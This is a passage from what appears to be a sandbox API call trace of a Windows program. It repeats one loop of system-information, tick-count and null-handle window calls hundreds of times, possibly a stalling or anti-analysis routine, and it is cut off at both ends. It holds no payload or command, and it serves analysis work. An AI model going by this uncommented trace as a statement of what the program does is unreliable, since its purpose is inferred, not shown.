dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.958] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.958] GetTickCount () returned 0x45c6 [0095.958] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.958] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.958] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.958] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.958] GetTickCount () returned 0x45c6 [0095.958] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.958] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.958] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.958] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.958] GetTickCount () returned 0x45c6 [0095.958] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.958] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.958] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.958] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.958] GetTickCount () returned 0x45c6 [0095.958] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.958] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.958] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.959] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.959] GetTickCount () returned 0x45c6 [0095.959] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.959] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.959] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.959] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.959] GetTickCount () returned 0x45c6 [0095.959] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.959] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.959] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.959] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.959] GetTickCount () returned 0x45c6 [0095.959] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.959] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.959] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.959] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.959] GetTickCount () returned 0x45c6 [0095.959] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.959] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.959] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.959] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.959] GetTickCount () returned 0x45c6 [0095.959] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.959] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.960] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.960] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.960] GetTickCount () returned 0x45c6 [0095.960] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.960] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.960] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.960] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.960] GetTickCount () returned 0x45c6 [0095.960] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.960] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.960] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.960] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.960] GetTickCount () returned 0x45c6 [0095.960] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.960] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.960] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.960] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.960] GetTickCount () returned 0x45c6 [0095.960] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.960] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.960] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.960] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.960] GetTickCount () returned 0x45c6 [0095.960] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.961] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.961] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.961] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.961] GetTickCount () returned 0x45c6 [0095.961] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.961] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.961] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.961] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.961] GetTickCount () returned 0x45c6 [0095.961] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.961] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.961] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.961] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.961] GetTickCount () returned 0x45c6 [0095.961] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.961] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.961] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.961] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.961] GetTickCount () returned 0x45c6 [0095.961] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.961] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.961] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.962] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.962] GetTickCount () returned 0x45c6 [0095.962] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.962] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.962] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.962] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.962] GetTickCount () returned 0x45c6 [0095.962] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.962] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.962] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.962] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.962] GetTickCount () returned 0x45c6 [0095.962] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.962] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.962] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.962] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.962] GetTickCount () returned 0x45c6 [0095.962] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.962] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.962] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.962] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.962] GetTickCount () returned 0x45c6 [0095.962] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.962] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.962] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.963] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.963] GetTickCount () returned 0x45c6 [0095.963] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.963] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.963] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.963] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.963] GetTickCount () returned 0x45c6 [0095.963] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.963] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.963] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.963] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.963] GetTickCount () returned 0x45c6 [0095.963] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.963] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.963] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.963] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.963] GetTickCount () returned 0x45c6 [0095.963] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.963] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.963] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.963] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.963] GetTickCount () returned 0x45c6 [0095.963] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.963] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.964] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.964] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.964] GetTickCount () returned 0x45c6 [0095.964] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.964] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.964] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.964] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0095.964] GetTickCount () returned 0x45c6 [0095.964] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0095.964] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0095.964] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0095.964] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.106] GetTickCount () returned 0x4662 [0096.106] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.106] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.106] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.106] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.107] GetTickCount () returned 0x4662 [0096.107] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.107] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.107] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.107] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.107] GetTickCount () returned 0x4662 [0096.107] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.107] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.107] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.107] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.107] GetTickCount () returned 0x4662 [0096.107] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.107] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.107] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.107] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.107] GetTickCount () returned 0x4662 [0096.107] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.107] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.107] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.107] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.107] GetTickCount () returned 0x4662 [0096.107] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.107] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.107] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, 